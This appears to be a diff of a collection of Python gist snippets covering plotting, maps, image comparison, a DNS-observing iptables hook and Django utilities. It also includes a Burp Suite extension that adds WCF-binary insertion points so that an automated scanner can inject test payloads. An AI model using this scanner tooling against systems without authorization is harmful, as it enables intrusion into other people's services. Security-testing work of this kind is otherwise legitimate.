+    # Mapping data: cell -> point
+    mapper = vtk.vtkCellDataToPointData()
+    mapper.AddInputData(data)
+    mapper.Update()
+    mapped_data = mapper.GetOutput()
+
+    # Extracting interpolate point data
+    udata = mapped_data.GetPointData().GetArray(0)
+
+    ntri = triangles.GetNumberOfTuples()/4
+    npts = points.GetNumberOfPoints()
+    nvls = udata.GetNumberOfTuples()
+
+    tri = np.zeros((ntri, 3))
+    x = np.zeros(npts)
+    y = np.zeros(npts)
+    ux = np.zeros(nvls)
+    uy = np.zeros(nvls)
+
+    for i in xrange(0, ntri):
+        tri[i, 0] = triangles.GetTuple(4*i + 1)[0]
+        tri[i, 1] = triangles.GetTuple(4*i + 2)[0]
+        tri[i, 2] = triangles.GetTuple(4*i + 3)[0]
+
+    for i in xrange(npts):
+        pt = points.GetPoint(i)
+        x[i] = pt[0]
+        y[i] = pt[1]
+
+    for i in xrange(0, nvls):
+        U = udata.GetTuple(i)
+        ux[i] = U[0]
+        uy[i] = U[1]
+
+    return (x, y, tri, ux, uy)
+
+plt.clf()
+x, y, tri, ux, uy = load_velocity('U_test-plane.vtk')
+plt.tricontour(x, y, tri, ux, 16, linestyles='-',
+               colors='black', linewidths=0.5)
+plt.tricontourf(x, y, tri, ux, 16)
+plt.rc('text', usetex=True)
+plt.xlim([0, 0.1])
+plt.ylim([0, 0.1])
+plt.gca().set_aspect('equal')
+plt.gca().tick_params(direction='out', which='both')
+plt.minorticks_on()
+plt.gca().set_xticklabels([])
+plt.gca().set_yticklabels([])
+plt.title('$\mathsf{Cavity\ tutorial,\ u_x}$')
+plt.savefig("cavity-ux.png", dpi=300, bbox_inches='tight')
+plt.savefig("cavity-ux.pdf", bbox_inches='tight')
diff --git a/hard-gists/4504341/._snippet.py b/hard-gists/4504341/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4504341/._snippet.py differ
diff --git a/hard-gists/4504341/snippet.py b/hard-gists/4504341/snippet.py
new file mode 100644
index 00000000..3e7d9514
--- /dev/null
+++ b/hard-gists/4504341/snippet.py
@@ -0,0 +1,178 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Thu Jan 10 08:20:14 2013
+
+@author: Nick Coblentz
+"""
+
+from burp import IBurpExtender
+from burp import IScannerInsertionPointProvider
+from burp import IScannerInsertionPoint
+from java.io import PrintWriter
+import subprocess
+import base64
+from subprocess import CalledProcessError
+import sys
+from xml.sax import ContentHandler
+import xml.sax
+from xml.dom import minidom
+
+class BurpExtender(IBurpExtender, IScannerInsertionPointProvider):
+    
+    def registerExtenderCallbacks(self, callbacks):
+        self.callbacks = callbacks
+        self.helpers = callbacks.getHelpers()
+        #Used to debug plugin
+        self.stdout = PrintWriter(callbacks.getStdout(), True)
+        self.stderr = PrintWriter(callbacks.getStderr(), True)
+        # set our extension name
+        callbacks.setExtensionName("WCF Binary Scan Insertion Point")
+        callbacks.registerScannerInsertionPointProvider(self)
+        return        
+    
+    def getInsertionPoints(self, baseRequestResponse):        
+        request_bytes = baseRequestResponse.getRequest()
+        body_bytes = WCFBinaryHelper.GetWCFBinaryRequestBodyBytes(self,request_bytes)
+        if(body_bytes != None):
+            return WCFBinaryInsertionPointFactory.GetWCFBinaryInsertionPoints(self,request_bytes,body_bytes)
+        return None
+
+class WCFBinaryHelper:
+
+    @classmethod
+    def GetHeadersContaining(cls, findValue, headers):
+        if(findValue!=None and headers!=None and len(headers)>0):
+            return [s for s in headers if findValue in s]
+        return None
+    
+    @classmethod
+    def GetWCFBinaryRequestBodyBytes(cls,extender, request_bytes):
+        request_info = extender.helpers.analyzeRequest(request_bytes)
+        headers = request_info.getHeaders()
+        if(headers!=None and len(headers)>0):
+            matched_headers = cls.GetHeadersContaining('Content-Type',headers)
+            if(matched_headers!=None):
+                for matched_header in matched_headers:
+                    if('msbin1' in matched_header):
+                        return request_bytes[request_info.getBodyOffset():]
+        return None                
+    
+    @classmethod
+    def DecodeWCF(cls,extender, base64EncodedBody):        
+        try:
+            proc = subprocess.Popen(['NBFS.exe','decode',base64EncodedBody],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
+            #proc.wait()
+            output = proc.stdout.read()
+            extender.stdout.println(output)
+            extender.stdout.println(proc.stderr.read())
+            return output
+
+        except CalledProcessError, e:
+            extender.stdout.println("error({0}): {1}".format(e.errno, e.strerror))
+        except:
+            extender.stdout.println("Unexpected error: %s: %s\n%s" % (sys.exc_info()[0],sys.exc_info()[1],sys.exc_info()[2]))        
+        return None
+     
+    @classmethod
+    def EncodeWCF(cls,extender, xmlContent):       
+        base64EncodedXML=base64.b64encode(xmlContent)
+        try:
+            proc = subprocess.Popen(['NBFS.exe','encode',base64EncodedXML],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
+            #proc.wait()
+            output = proc.stdout.read()
+            extender.stdout.println(output)
+            extender.stdout.println(proc.stderr.read())
+            return extender.helpers.stringToBytes(base64.b64decode(output))
+
+        except CalledProcessError, e:
+            extender.stdout.println("error({0}): {1}".format(e.errno, e.strerror))
+        except:
+            extender.stdout.println("Unexpected error: %s: %s\n%s" % (sys.exc_info()[0],sys.exc_info()[1],sys.exc_info()[2]))
+        return None
+
+class WCFXMLContentHandler(ContentHandler):
+    def __init__(self):
+        ContentHandler.__init__(self)
+        self.current_element=None
+        self.insertion_point_xml_tag_names=[]
+        self.insertion_point_xml_tag_names_count={}
+
+    def addTagInsertionPoint(self,tag,content):
+        count = 0
+        if(tag in self.insertion_point_xml_tag_names_count):
+            count = self.insertion_point_xml_tag_names_count[tag]+1
+        self.insertion_point_xml_tag_names_count[tag]=count
+        self.insertion_point_xml_tag_names.append([self.current_element,count,content])
+        
+    def startElement(self,name,attributes):
+        self.current_element=name
+        
+    def endElement(self,name):
+        self.current_element=None
+    
+    def characters(self,content):
+        if(content!=None):
+            striped_content = content.strip()
+            if(len(striped_content)>0):
+                self.addTagInsertionPoint(self.current_element,content)
+    
+    def getInsertionPoints(self):
+        return self.insertion_point_xml_tag_names
+        
+        
+class WCFBinaryInsertionPointFactory:
+    @classmethod
+    def GetWCFBinaryInsertionPoints(cls,extender,request_bytes,body_bytes):        
+        insertionPoints=[]
+        decoded_wcf_body = base64.b64decode(WCFBinaryHelper.DecodeWCF(extender,base64.b64encode(extender.helpers.bytesToString(body_bytes))))
+        wcfXMLContentHandler=WCFXMLContentHandler()
+        xml.sax.parseString(decoded_wcf_body,wcfXMLContentHandler)
+        tagNamesAndContent = wcfXMLContentHandler.getInsertionPoints()            
+        for tagNameAndContent in tagNamesAndContent:
+            insertionPoints.append(WCFBinaryInsertionPoint(extender,request_bytes,body_bytes,decoded_wcf_body,tagNameAndContent[0],tagNameAndContent[1],tagNameAndContent[2]))            
+        return insertionPoints
+    
+            
+            
+class WCFBinaryInsertionPoint(IScannerInsertionPoint):
+    def __init__(self, extender, request_bytes,body_bytes,decoded_wcf_body, tag_name, tag_count,content):
+        self.request_bytes=request_bytes
+        self.body_bytes=body_bytes
+        self.tag_name=tag_name
+        self.tag_count=tag_count
+        self.content=content
+        self.extender=extender
+        self.myInsertionPointName=("WCF Binary Encoded Prameter: %s" % tag_name)
+        self.myBaseValue=content
+        self.decoded_wcf_body=decoded_wcf_body
+        self.xml_body = minidom.parseString(decoded_wcf_body)
+        request_info = self.extender.helpers.analyzeRequest(request_bytes)
+        self.bodyOffset = request_info.getBodyOffset()
+        self.extender.stdout.println("New Insertion Point Created: %s" % tag_name)
+        
+    def getInsertionPointName(self):
+        return self.myInsertionPointName
+        
+    def getBaseValue(self):
+        return self.myBaseValue
+
+    def buildRequest(self, payload):
+        elem = self.xml_body.getElementsByTagName(self.tag_name)
+        if(elem!=None and len(elem)>=self.tag_count):
+            txtelem = elem[self.tag_count].firstChild
+            if(txtelem != None and txtelem.nodeType == xml.dom.Node.TEXT_NODE):
+                txtelem.data=self.extender.helpers.bytesToString(payload)
+                wcf_binary_body = WCFBinaryHelper.EncodeWCF(self.extender,self.xml_body.toxml())
+                
+                new_request_bytes = list(self.request_bytes)
+                new_request_bytes[self.bodyOffset:]=wcf_binary_body
+                return new_request_bytes
+        return None
+
+    def getPayloadOffsets(self, payload):
+        # None because request body is encoded
+        return None
+    
+    
+    def getInsertionPointType(self):        
+        return INS_EXTENSION_PROVIDED
\ No newline at end of file
diff --git a/hard-gists/450d7da20daaba6d39d0/._snippet.py b/hard-gists/450d7da20daaba6d39d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/450d7da20daaba6d39d0/._snippet.py differ
diff --git a/hard-gists/450d7da20daaba6d39d0/snippet.py b/hard-gists/450d7da20daaba6d39d0/snippet.py
new file mode 100644
index 00000000..a2c031cb
--- /dev/null
+++ b/hard-gists/450d7da20daaba6d39d0/snippet.py
@@ -0,0 +1,67 @@
+import bokeh.embed
+import bokeh.io
+import bokeh.models
+import bokeh.models.widgets
+import bokeh.plotting
+import pandas as pd
+from pandas_datareader import wb
+
+bokeh.plotting.output_notebook()
+
+df = wb.download(indicator='NY.GDP.PCAP.KD', country=['US', 'CA', 'MX'], start=2005, end=2008)
+df = df.reset_index()
+
+source = bokeh.models.ColumnDataSource(df)
+original_source = bokeh.models.ColumnDataSource(df)
+columns = [
+    bokeh.models.widgets.TableColumn(field="country", title="Country"),
+    bokeh.models.widgets.TableColumn(field="year", title="Year"),
+    bokeh.models.widgets.TableColumn(field="NY.GDP.PCAP.KD", title="NY.GDP.PCAP.KD"),
+]
+data_table = bokeh.models.widgets.DataTable(source=source, columns=columns)
+
+# callback code to be used by all the filter widgets
+# requires (source, original_source, country_select_obj, year_select_obj, target_object)
+combined_callback_code = """
+var data = source.get('data');
+var original_data = original_source.get('data');
+var country = country_select_obj.get('value');
+console.log("country: " + country);
+var year = year_select_obj.get('value');
+console.log("year: " + year);
+
+for (var key in original_data) {
+    data[key] = [];
+    for (var i = 0; i < original_data['country'].length; ++i) {
+        if ((country === "ALL" || original_data['country'][i] === country) &&
+            (year === "ALL" || original_data['year'][i] === year)) {
+            data[key].push(original_data[key][i]);
+        }
+    }
+}
+target_obj.trigger('change');
+source.trigger('change');
+"""
+
+# define the filter widgets, without callbacks for now
+country_list = ['ALL'] + df['country'].unique().tolist()
+country_select = bokeh.models.widgets.Select(title="Country:", value=country_list[0], options=country_list)
+year_list = ['ALL'] + df['year'].unique().tolist()
+year_select = bokeh.models.widgets.Select(title="Year:", value=year_list[0], options=year_list)
+
+# now define the callback objects now that the filter widgets exist
+generic_callback = bokeh.models.CustomJS(
+    args=dict(source=source, 
+              original_source=original_source, 
+              country_select_obj=country_select, 
+              year_select_obj=year_select, 
+              target_obj=data_table),
+    code=combined_callback_code
+)
+
+# finally, connect the callbacks to the filter widgets
+country_select.callback = generic_callback
+year_select.callback = generic_callback
+
+p = bokeh.io.vplot(country_select, year_select, data_table)
+bokeh.plotting.show(p)
\ No newline at end of file
diff --git a/hard-gists/451a6685fddcf8ccdfc5/._snippet.py b/hard-gists/451a6685fddcf8ccdfc5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/451a6685fddcf8ccdfc5/._snippet.py differ
diff --git a/hard-gists/451a6685fddcf8ccdfc5/snippet.py b/hard-gists/451a6685fddcf8ccdfc5/snippet.py
new file mode 100644
index 00000000..9ee83749
--- /dev/null
+++ b/hard-gists/451a6685fddcf8ccdfc5/snippet.py
@@ -0,0 +1,164 @@
+# coding: utf-8
+'''
+NOTE: This requires the latest beta of Pythonista 1.6 (build 160022)
+
+Demo of a custom ui.View subclass that embeds a native map view using MapKit (via objc_util). Tap and hold the map to drop a pin.
+
+The MapView class is designed to be reusable, but it doesn't implement *everything* you might need. I hope that the existing methods give you a basic idea of how to add new capabilities though. For reference, here's Apple's documentation about the underlying MKMapView class: http://developer.apple.com/library/ios/documentation/MapKit/reference/MKMapView_Class/index.html
+
+If you make any changes to the OMMapViewDelegate class, you need to restart the app. Because this requires creating a new Objective-C class, the code can basically only run once per session (it's not safe to delete an Objective-C class at runtime as long as instances of the class potentially exist).
+'''
+
+from objc_util import *
+import ctypes
+import ui
+import location
+import time
+import weakref
+
+# _map_delegate_cache is used to get a reference to the MapView from the (Objective-C) delegate callback. The keys are memory addresses of `OMMapViewDelegate` (Obj-C) objects, the values are `ObjCInstance` (Python) objects. This mapping is necessary because `ObjCInstance` doesn't guarantee that you get the same object every time when you instantiate it with a pointer (this may change in future betas). MapView stores a weak reference to itself in the specific `ObjCInstance` that it creates for its delegate.
+_map_delegate_cache = weakref.WeakValueDictionary()
+
+# Create a new Objective-C class to act as the MKMapView's delegate...
+try:
+	# If the script was run before, the class already exists.
+	OMMapViewDelegate = ObjCClass('OMMapViewDelegate')
+except:
+	IMPTYPE = ctypes.CFUNCTYPE(None, c_void_p, c_void_p, c_void_p, c_bool)
+	def mapView_regionDidChangeAnimated_imp(self, cmd, mk_mapview, animated):
+		# Resolve weak reference from delegate to mapview:
+		map_view = _map_delegate_cache[self].map_view_ref()
+		if map_view:
+			map_view._notify_region_changed()
+	imp = IMPTYPE(mapView_regionDidChangeAnimated_imp)
+	# This is a little ugly, but we need to make sure that `imp` isn't garbage-collected:
+	ui._retain_me_mapview_delegate_imp1 = imp
+	NSObject = ObjCClass('NSObject')
+	class_ptr = c.objc_allocateClassPair(NSObject.ptr, 'OMMapViewDelegate', 0)
+	selector = sel('mapView:regionDidChangeAnimated:')
+	c.class_addMethod(class_ptr, selector, imp, 'v0@0:0@0B0')
+	c.objc_registerClassPair(class_ptr)
+	OMMapViewDelegate = ObjCClass('OMMapViewDelegate')
+
+class CLLocationCoordinate2D (Structure):
+	_fields_ = [('latitude', c_double), ('longitude', c_double)]
+class MKCoordinateSpan (Structure):
+	_fields_ = [('d_lat', c_double), ('d_lon', c_double)]
+class MKCoordinateRegion (Structure):
+	_fields_ = [('center', CLLocationCoordinate2D), ('span', MKCoordinateSpan)]
+
+class MapView (ui.View):
+	@on_main_thread
+	def __init__(self, *args, **kwargs):
+		ui.View.__init__(self, *args, **kwargs)
+		MKMapView = ObjCClass('MKMapView')
+		frame = CGRect(CGPoint(0, 0), CGSize(self.width, self.height))
+		self.mk_map_view = MKMapView.alloc().initWithFrame_(frame)
+		flex_width, flex_height = (1<<1), (1<<4)
+		self.mk_map_view.setAutoresizingMask_(flex_width|flex_height)
+		self_objc = ObjCInstance(self)
+		self_objc.addSubview_(self.mk_map_view)
+		self.mk_map_view.release()
+		self.long_press_action = None
+		self.scroll_action = None
+		#NOTE: The button is only used as a convenient action target for the gesture recognizer. While this isn't documented, the underlying UIButton object has an `-invokeAction:` method that takes care of calling the associated Python action.
+		self.gesture_recognizer_target = ui.Button()
+		self.gesture_recognizer_target.action = self.long_press
+		UILongPressGestureRecognizer = ObjCClass('UILongPressGestureRecognizer')
+		self.recognizer = UILongPressGestureRecognizer.alloc().initWithTarget_action_(self.gesture_recognizer_target, sel('invokeAction:')).autorelease()
+		self.mk_map_view.addGestureRecognizer_(self.recognizer)
+		self.long_press_location = ui.Point(0, 0)
+		self.map_delegate = OMMapViewDelegate.alloc().init().autorelease()
+		self.mk_map_view.setDelegate_(self.map_delegate)
+		self.map_delegate.map_view_ref = weakref.ref(self)
+		_map_delegate_cache[self.map_delegate.ptr] = self.map_delegate
+	
+	def long_press(self, sender):
+		#NOTE: The `sender` argument will always be the dummy ui.Button that's used as the gesture recognizer's target, just ignore it...
+		gesture_state = self.recognizer.state()
+		if gesture_state == 1 and callable(self.long_press_action):
+			loc = self.recognizer.locationInView_(self.mk_map_view)
+			self.long_press_location = ui.Point(loc.x, loc.y)
+			self.long_press_action(self)
+	
+	@on_main_thread
+	def add_pin(self, lat, lon, title, subtitle=None, select=False):
+		'''Add a pin annotation to the map'''
+		MKPointAnnotation = ObjCClass('MKPointAnnotation')
+		coord = CLLocationCoordinate2D(lat, lon)
+		annotation = MKPointAnnotation.alloc().init().autorelease()
+		annotation.setTitle_(title)
+		if subtitle:
+			annotation.setSubtitle_(subtitle)
+		annotation.setCoordinate_(coord, restype=None, argtypes=[CLLocationCoordinate2D])
+		self.mk_map_view.addAnnotation_(annotation)
+		if select:
+			self.mk_map_view.selectAnnotation_animated_(annotation, True)
+	
+	@on_main_thread
+	def remove_all_pins(self):
+		'''Remove all annotations (pins) from the map'''
+		self.mk_map_view.removeAnnotations_(self.mk_map_view.annotations())
+		
+	@on_main_thread
+	def set_region(self, lat, lon, d_lat, d_lon, animated=False):
+		'''Set latitude/longitude of the view's center and the zoom level (specified implicitly as a latitude/longitude delta)'''
+		region = MKCoordinateRegion(CLLocationCoordinate2D(lat, lon), MKCoordinateSpan(d_lat, d_lon))
+		self.mk_map_view.setRegion_animated_(region, animated, restype=None, argtypes=[MKCoordinateRegion, c_bool])
+	
+	@on_main_thread
+	def set_center_coordinate(self, lat, lon, animated=False):
+		'''Set latitude/longitude without changing the zoom level'''
+		coordinate = CLLocationCoordinate2D(lat, lon)
+		self.mk_map_view.setCenterCoordinate_animated_(coordinate, animated, restype=None, argtypes=[CLLocationCoordinate2D, c_bool])
+	
+	@on_main_thread
+	def get_center_coordinate(self):
+		'''Return the current center coordinate as a (latitude, longitude) tuple'''
+		coordinate = self.mk_map_view.centerCoordinate(restype=CLLocationCoordinate2D, argtypes=[])
+		return coordinate.latitude, coordinate.longitude
+	
+	@on_main_thread
+	def point_to_coordinate(self, point):
+		'''Convert from a point in the view (e.g. touch location) to a latitude/longitude'''
+		coordinate = self.mk_map_view.convertPoint_toCoordinateFromView_(CGPoint(*point), self._objc_ptr, restype=CLLocationCoordinate2D, argtypes=[CGPoint, c_void_p])
+		return coordinate.latitude, coordinate.longitude
+	
+	def _notify_region_changed(self):
+		if callable(self.scroll_action):
+			self.scroll_action(self)
+
+
+# --------------------------------------
+# DEMO:
+
+def long_press_action(sender):
+	# Add a pin when the MapView recognizes a long-press
+	c = sender.point_to_coordinate(sender.long_press_location)
+	sender.remove_all_pins()
+	sender.add_pin(c[0], c[1], 'Dropped Pin', str(c), select=True)
+	sender.set_center_coordinate(c[0], c[1], animated=True)
+
+def scroll_action(sender):
+	# Show the current center coordinate in the title bar after the map is scrolled/zoomed:
+	sender.name = 'lat/long: %.2f, %.2f' % sender.get_center_coordinate()
+
+def main():
+	# Create and present a MapView:
+	v = MapView(frame=(0, 0, 500, 500))
+	v.long_press_action = long_press_action
+	v.scroll_action = scroll_action
+	v.present('sheet')
+	# Add a pin with the current location (if available), and zoom to that location:
+	import location
+	location.start_updates()
+	time.sleep(1)
+	loc = location.get_location()
+	location.stop_updates()
+	if loc:
+		lat, lon = loc['latitude'], loc['longitude']
+		v.set_region(lat, lon, 0.05, 0.05, animated=True)
+		v.add_pin(lat, lon, 'Current Location', str((lat, lon)))
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/4522091/._snippet.py b/hard-gists/4522091/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4522091/._snippet.py differ
diff --git a/hard-gists/4522091/snippet.py b/hard-gists/4522091/snippet.py
new file mode 100644
index 00000000..e33ac320
--- /dev/null
+++ b/hard-gists/4522091/snippet.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# 
+# Video of this screencast: https://vimeo.com/57296525
+# 
+# 
+from __future__ import print_function, division, absolute_import
+from PIL import Image as pImage
+import numpy
+
+import os
+import random
+
+class Image:
+    """Take an information from image file"""
+
+    BLOCK_SIZE = 20
+    TRESHOLD = 60
+
+    def __init__(self, filename):
+        self.filename = filename
+
+    def load(self):
+        img = pImage.open(self.filename)
+        small = img.resize( (Image.BLOCK_SIZE, Image.BLOCK_SIZE),
+                            pImage.BILINEAR )
+        self.t_data = numpy.array(
+            [sum(list(x)) for x in small.getdata()]
+        )
+        del img, small
+        return self
+
+    def __repr__(self):
+        return self.filename
+
+    def __mul__(self, other):
+        return sum(1 for x in self.t_data - other.t_data if abs(x) > Image.TRESHOLD)
+
+class ImageList:
+    """List of images information, built from directory.
+    All files must be *.jpg"""
+    def __init__(self, dirname):
+        self.dirname = dirname
+        self.load()
+
+    def load(self):
+        self.images = \
+            [Image(os.path.join(self.dirname, filename)).load() \
+                for filename in os.listdir(self.dirname)
+                    if filename.endswith('.jpg')]
+        random.shuffle(self.images)
+        return self
+
+    def __repr__(self):
+        return '\n'.join( ( x.filename for x in self.images ) )
+
+    def html(self):
+        res = ['<html><body>']
+        for img in self.images:
+            distances = sorted([ (img * x, x) for x in self.images ])
+            res += [
+                '<img src="' + os.path.basename(x.filename) + '" width="200"/>' + str(dist)
+                for dist, x in distances if dist < 220]
+            res += ['<hr/>']
+        res += ['</body></html>']
+
+        return '\n'.join(res)
+
+if __name__ == '__main__':
+    il = ImageList('/Users/bobuk/,misc/wm')
+    print(il.html())
diff --git a/hard-gists/4524299/._snippet.py b/hard-gists/4524299/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4524299/._snippet.py differ
diff --git a/hard-gists/4524299/snippet.py b/hard-gists/4524299/snippet.py
new file mode 100644
index 00000000..af6a4733
--- /dev/null
+++ b/hard-gists/4524299/snippet.py
@@ -0,0 +1,35 @@
+from netfilterqueue import NetfilterQueue
+import subprocess
+import signal
+import dpkt
+import traceback
+import socket
+
+def observe_dns_hijacking(nfqueue_element):
+    try:
+        ip_packet = dpkt.ip.IP(nfqueue_element.get_payload())
+        dns_packet = dpkt.dns.DNS(ip_packet.udp.data)
+        print(repr(dns_packet))
+        for answer in dns_packet.an:
+            print(socket.inet_ntoa(answer['rdata']))
+        nfqueue_element.accept()
+    except:
+        traceback.print_exc()
+        nfqueue_element.accept()
+
+nfqueue = NetfilterQueue()
+nfqueue.bind(0, observe_dns_hijacking)
+
+def clean_up(*args):
+    subprocess.call('iptables -D OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
+    subprocess.call('iptables -D INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
+
+signal.signal(signal.SIGINT, clean_up)
+
+try:
+    subprocess.call('iptables -I INPUT -p udp --src 8.8.8.8 -j QUEUE', shell=True)
+    subprocess.call('iptables -I OUTPUT -p udp --dst 8.8.8.8 -j QUEUE', shell=True)
+    print('running..')
+    nfqueue.run()
+except KeyboardInterrupt:
+    print('bye')
\ No newline at end of file
diff --git a/hard-gists/4524784/._snippet.py b/hard-gists/4524784/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4524784/._snippet.py differ
diff --git a/hard-gists/4524784/snippet.py b/hard-gists/4524784/snippet.py
new file mode 100644
index 00000000..da422efa
--- /dev/null
+++ b/hard-gists/4524784/snippet.py
@@ -0,0 +1,100 @@
+import inspect
+from django.conf import settings
+from django.utils.importlib import import_module
+from django.core.exceptions import ImproperlyConfigured
+
+
+class AlreadyRegistered(Exception):
+    pass
+
+
+class NotRegistered(Exception):
+    pass
+
+
+class Registry(object):
+    "Simple class that keeps track of a set of registered classes."
+    def __init__(self, default=None, register_instance=True):
+        if register_instance and inspect.isclass(default):
+            default = default()
+        self.register_instance = register_instance
+        self.default = default
+        self._registry = {}
+        if default:
+            self.register(default)
+
+    def __getitem__(self, name):
+        return self._registry.get(name, self.default)
+
+    def get(self, name):
+        return self.__getitem__(name)
+
+    def register(self, obj, name=None):
+        """Registers a class with an optional name. The class name will be used
+        if not supplied.
+        """
+        if inspect.isclass(obj):
+            name = name or obj.__name__
+            # Create an instance if instances should be registered
+            if self.register_instance:
+                obj = obj()
+        else:
+            name = name or obj.__class__.__name__
+
+        if name in self._registry:
+            raise AlreadyRegistered('The class {0} is already registered'.format(name))
+
+        # Check to see if this class should be used as the default for this
+        # registry
+        if getattr(obj, 'default', False):
+            # ensure the default if already overriden is not being overriden
+            # again.
+            if self.default:
+                if self.register_instance:
+                    name = self.default.__class__.__name__
+                else:
+                    name = self.default.__name__
+                objtype = 'class' if self.register_instance else 'instance'
+                raise ImproperlyConfigured('The default {0} cannot be set '
+                    'more than once for this registry ({1} is the default).'.format(objtype, name))
+
+            self.default = obj
+        else:
+            if name in self._registry:
+                raise AlreadyRegistered('Another class is registered with the '
+                    'name "{0}"'.format(name))
+
+            self._registry[name] = obj
+
+    def unregister(self, name):
+        """Unregisters a class. Note that these calls must be made in
+        INSTALLED_APPS listed after the apps that already registered the class.
+        """
+        # Use the name of the class if passed in. Second condition checks for an
+        # instance of the class.
+        if inspect.isclass(name):
+            name = name.__name__
+        elif hasattr(name, '__class__'):
+            name = name.__class__.__name__
+        if name not in self._registry:
+            objtype = 'class' if self.register_instance else 'instance'
+            raise NotRegistered('No {0} is registered under the name "{1}"'.format(objtype, name))
+        self._registry.pop(name)
+
+    @property
+    def choices(self):
+        "Returns a 2-tuple list of all registered class instance names."
+        return sorted((x, x) for x in self._registry.iterkeys())
+
+
+def autodiscover(module_name):
+    """Simple auto-discover for looking through each INSTALLED_APPS for each
+    ``module_name`` and fail silently when not found. This should be used for
+    modules that have 'registration' like behavior.
+    """
+    for app in settings.INSTALLED_APPS:
+        # Attempt to import the app's ``module_name``.
+        try:
+            import_module('{0}.{1}'.format(app, module_name))
+        except:
+            pass
\ No newline at end of file
diff --git a/hard-gists/4534a3e2a1584afc314e7e040c79d60c/._snippet.py b/hard-gists/4534a3e2a1584afc314e7e040c79d60c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4534a3e2a1584afc314e7e040c79d60c/._snippet.py differ
diff --git a/hard-gists/4534a3e2a1584afc314e7e040c79d60c/snippet.py b/hard-gists/4534a3e2a1584afc314e7e040c79d60c/snippet.py
new file mode 100644
index 00000000..851b0648
--- /dev/null
+++ b/hard-gists/4534a3e2a1584afc314e7e040c79d60c/snippet.py
@@ -0,0 +1,48 @@
+import objc
+from Foundation import NSBundle
+
+CG_bundle = NSBundle.bundleWithIdentifier_('com.apple.CoreGraphics')
+
+functions = [("CGSSessionCopyAllSessionProperties", b"@"),]
+
+objc.loadBundleFunctions(CG_bundle, globals(), functions)
+
+# example usage: graphical_security_sessions = CGSSessionCopyAllSessionProperties()
+# keys to look for:
+#     kCGSessionLoginDoneKey  - set to 1 if user has logged in
+#     kCGSSessionOnConsoleKey - set to 1 if user currently has console/graphical control
+# 
+# Example data:
+# 
+# >>> a = CGSSessionCopyAllSessionProperties()
+# >>> a
+# (
+#         {
+#         kCGSSessionAuditIDKey = 100409;
+#         kCGSSessionGroupIDKey = 20;
+#         kCGSSessionIDKey = 258;
+#         kCGSSessionLoginwindowSafeLogin = 0;
+#         kCGSSessionOnConsoleKey = 0;
+#         kCGSSessionOrderingKey = 2;
+#         kCGSSessionSystemSafeBoot = 0;
+#         kCGSSessionUserIDKey = 503;
+#         kCGSSessionUserNameKey = testnow;
+#         kCGSessionLoginDoneKey = 1;
+#         kCGSessionLongUserNameKey = testnow;
+#         kSCSecuritySessionID = 100409;
+#     },
+#         {
+#         kCGSSessionAuditIDKey = 100008;
+#         kCGSSessionGroupIDKey = 20;
+#         kCGSSessionIDKey = 257;
+#         kCGSSessionLoginwindowSafeLogin = 0;
+#         kCGSSessionOnConsoleKey = 1;
+#         kCGSSessionOrderingKey = 1;
+#         kCGSSessionSystemSafeBoot = 0;
+#         kCGSSessionUserIDKey = 501;
+#         kCGSSessionUserNameKey = mike;
+#         kCGSessionLoginDoneKey = 1;
+#         kCGSessionLongUserNameKey = mike;
+#         kSCSecuritySessionID = 100008;
+#     }
+# )
diff --git a/hard-gists/4543974/._snippet.py b/hard-gists/4543974/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4543974/._snippet.py differ
diff --git a/hard-gists/4543974/snippet.py b/hard-gists/4543974/snippet.py
new file mode 100644
index 00000000..96f56818
--- /dev/null
+++ b/hard-gists/4543974/snippet.py
@@ -0,0 +1,96 @@
+# commanduo.py - Running multiple Commando's in the same script
+
+from trigger.cmds import Commando as CommandoBase
+from twisted.internet import defer, task, reactor
+from twisted.python import log
+import sys
+
+# Uncomment me for verbose logging.
+#log.startLogging(sys.stdout, setStdout=False)
+
+class ReactorlessCommando(CommandoBase):
+    """
+    A reactor-less Commando subclass.
+   
+    This allows multiple instances to coexist, with the side-effect that you
+    have to manage the reactor start/stop manually.
+    """
+    def _start(self):
+        """Initializes ``all_done`` instead of starting the reactor"""
+        log.msg("._start() called")
+        self.all_done = False
+
+    def _stop(self):
+        """Sets ``all_done`` to True instead of stopping the reactor"""
+        log.msg("._stop() called")
+        self.all_done = True
+
+    def run(self):
+        """
+        We've overloaded the run method to return a Deferred task object.
+        """
+        log.msg(".run() called")
+
+        # This is the default behavior
+        super(ReactorlessCommando, self).run()
+
+        # Setup a deferred to hold the delayed result and not return it until
+        # it's done. This object will be populated with the value of the
+        # results once all commands have been executed on all devices.
+        d = defer.Deferred()
+            
+        # Add monitor_result as a callback
+        d.addCallback(self.monitor_result, reactor)
+
+        # Tell the reactor to call the callback above when it starts
+        reactor.callWhenRunning(d.callback, reactor)
+
+        return d
+
+    def monitor_result(self, result, reactor):
+        """
+        Loop periodically or until the factory stops to check if we're
+        ``all_done`` and then return the results.
+        """
+        # Once we're done, return the results
+        if self.all_done:
+            return self.results
+
+        # Otherwise tell the reactor to call me again after 0.5 seconds.
+        return task.deferLater(reactor, 0.5, self.monitor_result, result, reactor)
+
+class ShowClock(ReactorlessCommando):
+    commands = ['show clock']
+
+class ShowUsers(ReactorlessCommando):
+    commands = ['show users']
+
+def stop_reactor(result):
+    if reactor.running:
+        log.msg('STOPPING REACTOR!')
+        reactor.stop()
+    return result
+
+if __name__ == '__main__':
+    devices = ['dev1', 'dev2']
+
+    # Our Commando instances. This is an example  to show we have two instances
+    # co-existing under the same reactor.
